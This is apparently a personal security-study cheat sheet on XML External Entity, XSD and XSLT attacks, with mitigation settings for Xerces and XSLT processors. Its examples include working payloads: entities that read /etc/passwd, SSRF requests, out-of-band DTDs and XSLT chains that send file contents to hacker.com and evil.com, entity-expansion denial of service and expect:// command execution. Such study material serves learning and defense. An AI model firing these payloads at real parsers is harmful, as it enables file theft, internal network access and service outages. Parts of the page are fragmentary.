



XXE

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Recommended articles:

- Security Implications of DTD Attacks Against a Wide Range of XML Parsers. Christopher Späth. 2015 [source](#) (contains a lot of information about various XML parsers)
- XSLT Processing Security and SSRF. Emanuel Duss, Roland Bischofberger, OWASP 2015 (contains a lot of information about XSLT vulnerabilities)
- [OWASP XXE Processing](#)
- [XXE cheat sheet \(web-in-security\)](#)

Note: XSLT is a large separate topic, which must be investigated separately and finalize in separate article.

Overview

(owasp)

DTD - Document Type Definition

part of XML document related to `<!DOCTYPE>`.

Its main purpose is to specify XML document structure (**this is not security-related** therefore **will be not discussed**) and to **specify XML entities**.

XML standalone in `<?xml version="1.0" standalone="yes"?>` is a signal to the XML processor that the DTD is only for validation (usage of external entites will be forbidden).

Default value is `no`, that is perfectly well for attacker, although some parsers ignore this option.

XML entities types:

- **General entities** - can be used in XML content like `&name;`

```
<!ENTITY name "Hello World">
```

- **Parameter entities** - can be used inside doctype definition like `%name;` (parameter entities can insert new entities) and inside entities values like `%name;`.

```
<!ENTITY % name "Hello World">
```

```
<!ENTITY % name "Hello %myEntity;">
```

- **External entities** - entities with query to external (not declared in current XML document) resource (can be used both: general entities and parameter entities)

```
<!ENTITY name SYSTEM "URI/URL">
```

```
<!ENTITY name PUBLIC "any_text" "URI/URL">
```

External entities can be used for doctypes too:

XSD - XML Schema Definition Language

XML Schema is used to define XML structure. (It is usually a separate doc.xsd)

XSD does not depend on DTD technology, however can use it.

XSLT - eXtensible Stylesheet Language Transformations

XSLT is used to convert one XML document to other.

XSLT does not depend on DTD technology, however can use it.

Security issues

XXE practical usage

XXE targets:

- web-servers (even in deep backend)
- xml-based documents: docx, pptx, odt, etc. (exist tools e.g. [oxml_xxe](#))
For Open XML formats better to target `[Content_Types].xml` file for XXE injections.
- databases (mysql, postgresql, ...)

Exploitation ways

- output data in XML, returned to user
- OOB - Out-Of-Band (send sensitive data with external entity request)
- Error-based exploitation
 - invalid values/type definitions
 - schema validation
- Blind exploitation
- DoS
- RCE

XXE specifics

XXE **can not** be used to **write files** on server, exist **only one-two exclusions** for XSLT.

Behaviour greatly varies depending on used XML parser.

XXE nature allows to target several protocols and several files at a time (because we can include several Entities simultaneously (e.g. `SYSTEM "schema://ip:port"))`).



- **confident data disclosure** (file disclosure / LFI (Local File Inclusion))

External entities enables to read arbitrary files from system (if xml parser has read rights to the file)
However, if you request directory - **usually** (everything depends on parser) this will lead to an error, but some XML parsers (e.g. JAVA Xerces) will disclosure directory fine-names

```
<!ENTITY xxe SYSTEM "file:///etc/passwd">
```

- **SSRF (Server Side Request Forgery)**

External entities enables to make SSRF attacks, by making request to internal network from web-server parsing XML document (meaning - making requests from internal network, bypassing perimeter protection)

```
<!ENTITY xxe SYSTEM "http://secret.dev.company.com/secret_pass.txt">
```

- **Out-Of-Band** - using XML entities, data from server can be grabbed and sent to hacker.com (**NO** server output required)
document.xml

```
<!DOCTYPE root [  
  <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">  
  %remote; %intern; %xxe;  

```

http://hacker.com/evil.dtd

```
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">  
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
```

("Detected an entity reference loop" error must be carefully bypassed)

Using XML entities, server memory resource can be exhausted by constructing long entity value.

```
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY hifi "hifi">
  <!ENTITY hifi1 "&hifi;&hifi;&hifi;">
  <!ENTITY hifi2 "&hifi1;&hifi1;&hifi1;">
  <!ENTITY hifi3 "&hifi2;&hifi2;&hifi2;">
]>
<root>&hifi3;</root>
```

Linux local devices can be used:

```
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe1 SYSTEM "/dev/urandom">
  <!ENTITY xxe2 SYSTEM "/dev/zero">
]>
<root>&xxe1;&xxe2;</root>
```

- **RCE**

Some parsers enables to execute commands from XML entities.

e.g. for php, if 'expect' [extension](#) is explicitly installed into php.

```
<!ENTITY xxe SYSTEM "expect://id">
```

- **error-based injections**

Exist two types of errors:



Retrieval. Alexey Osipov, Timur Tundusov. 2013)

Context: `<!ENTITY % pay SYSTEM "file:///etc/passwd">`

parser	Restrictions	XXE vector	parser error
MS System.XML	untill first %20,%0d, %0a	<code><!ENTITY % trick "<!ENTITY err SYSTEM 'file:///some'%pay; gif">"> %trick;</code>	
Xerces	untill first %20,%0d, %0a	<code><!ENTITY % trick "<!ENTITY :%pay;>"> %trick;</code>	
Xerces		<code><!ENTITY % trick "<!ENTITY &#37; err SYSTEM '%pay;'>"> %trick; %err;</code>	
libxml (php)	~650 bytes (base64)	<code><!ENTITY % trick "<!ENTITY :%pay;>"> %trick;</code>	
libxml (php)	~900 bytes	<code><!ENTITY % trick "<!ENTITY &#37; err SYSTEM '%pay;'>"> %trick; %err;</code>	

%trick; %err;

Invalid URI: http___ ...

Xerces schema validation errors examples:

```
<!DOCTYPE html [ <!ENTITY % foo SYSTEM "file:///c:/boot.ini"> %foo; ]>
```

- parser error : Invalid URI: :[file]
- I/O warning : failed to load external entity "[file]"
- parser error : DOCTYPE improperly terminated
- Warning: ** [file] in ** on line 11

Possible XML schema validation constraints:

XSD attack vectors

- **Out-Of-Band** - XSD permits to make remote requests (or local files requests)

Several ways to make request (*usually xsd is positioned in XML schema documents (doc.xsd), but some directives are placed in XML file directly*):

- **schemaLocation**

"http://www.w3.org/2001/XMLSchema")

document.xml

- o **import / include**

document.xsd

- **error-based injections**

```
<xs:restriction base="xs:string">
  <xs:pattern value="&xxe;" />
</xs:restriction>
```

In return there can be pattern validation error, if entity is not a simple string

XSLT attack vectors

(sources: *XSLT Processing Security and SSRF*. Emanuel Duss, Roland Bischofberger, OWASP 2015 (huge research of XSLT processors))

- getting **system information**

```
<xsl:template match="/">
  XSLT Version: <xsl:value-of select="system-property('xsl:version')"/>
  XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')"/>
  XSLT Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
```

http://www.w3schools.com/xsl/xsl_validator.php?xml=xsl.xml

- **import / include**

[document.xsl \(similar to XSD import and include\)](#)

- **XSLT Out-Of-Band** through **variables** and **value-of** definition

- only for valid xml files, or expect to get only first line

```
<xsl:value-of select="document('test.html')" />
<xsl:value-of select="document('http://dev.company.com/secret.txt')" />
```

- another attack example:

```
<xsl:variable name="name1" select="document('file:///etc/passwd')" />
<xsl:variable name="name2" select="concat('http://evil.com/?', $name1)" />
<xsl:variable name="name3" select="document($name2)" />
```

- **RCE**

-

[libxslt + php + registerPHPFunctions\(\) must be called on instance of processor](#)

-

[Xalan-J](#)

[Xalan](#)

-

[Saxon EE](#)

- **database connection**

o

[XSLT 2.0 Saxon](#)

o

[Xalan-J redirect:write extension](#)

o

[libxslt esxl:document extension](#)

o

[Saxon PE / Saxon EE file:create-dir extension](#)

Attacks extensions

- **filters** and **wrappers** - XML parsers can provide filters to use for external entities.

PHP filters:

- o file:// http:// https:// ftp:// data://

```
<!ENTITY xxe SYSTEM "file:///etc/passwd">
```

```
<!ENTITY % xxe SYSTEM "http://evil.com/evil.dtd">
```

```
<!ENTITY xxe SYSTEM "data://text/plain;base64,aGVsbG8gd29ybGQ="> ('hello world')
```

ssnZ://

glob:// ogg://

- expect:// (gives RCE)

```
<!ENTITY xxe SYSTEM "expect://id">
```

other parsers can support

- gopher://, ldap:// (perl)

- Some web-apps accepting JSON will agree to accept XML document instead. ([XXE on JSON endpoints](#))

- **brute-force attribute values**

using schema validation values for xml tags and attributes can be specified, and in case there is mismatch error will appear.

if attacker can insert values in schema validation specification, then he can brute inserting values until error will disappear

brute can be smart - patterns for values allows to use regular expression, though binary search is available

- **blind attacks**

exist equivalent for lazy evaluation (e.g. xs:choice + xs:group in xsd), though for various choices regexps can take different time for calculation

This paragraph has to improved

For attacker to make external entites, they must be allowed. Usually there is several options:

- allow/deny loading XML entities (e.g. flag LIBXML_NOENT for php libxml)
- allow/deny loading external entities (e.g. flag LIBXML_DTDLOAD for php libxml)
- allow/deny showing error reports (e.g. flag LIBXML_NOERROR for php libxml)
- etc. ([e.g. for php](#))

In some parsers exist constraints for using XML entities in XML tags attributes:

e.g. for entites `SYSTEM 'file:///etc/passwd'` inserted into XML attributes there is an error:

```
Warning ... Attribute references external entity 'entity-name' in Entity
```

Xerces parser XXE mitigation:

```
XercesParserLiaison::DOMParserType theParser;  
  
theParser.setValidationScheme(xercesc::XercesDOMParser::Val_Never);  
theParser.setDoNamespaces(false);  
theParser.setDoSchema(false);  
theParser.setLoadExternalDTD(false);
```

XSLT security mitigation

read remote files, include external stylesheets	XSL_SECPREF_READ_NETWORK	own class implementing URIResolver and UnparsedTextURIResolver interfaces OR Whitelist allowed files
write files	XSL_SECPREF_WRITE_FILE	setFeature("http://saxon.sf.net/feature/allowexternal-functions", false);
RCE, getProperty		setFeature("http://saxon.sf.net/feature/allowexternal-functions", false);
XXE		setFeature("http://xml.org/sax/features/external-general-entities", false); setFeature("http://xml.org/sax/features/external-parameter-entities", false);

WAF bypass



XML parsers properties

Testbeds

PHP testbed for loading XML file

PHP testbed for loading XSD file

PHP testbed for loading XSLT file



Java (SAX parser) testbed for loading XML file

References

- *XML External Entity Attacks (XXE)*. Sascha Herzog. OWASP. 2010
- [XXE cheat sheet \(web-in-security\)](#)
- *XML Schema, DTD, and Entity Attacks*. Timothy D. Morgan, Omar Al Ibrahim. 2014
- *XSLT Processing Security and SSRF*. Emanuel Duss, Roland Bischofberger, OWASP 2015
- etc. (a lot of minor web-sites, articles and presentations)

Information Security

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I created this site in a burst of information security studying to organize my mind and create some kind of cheatsheet for myself.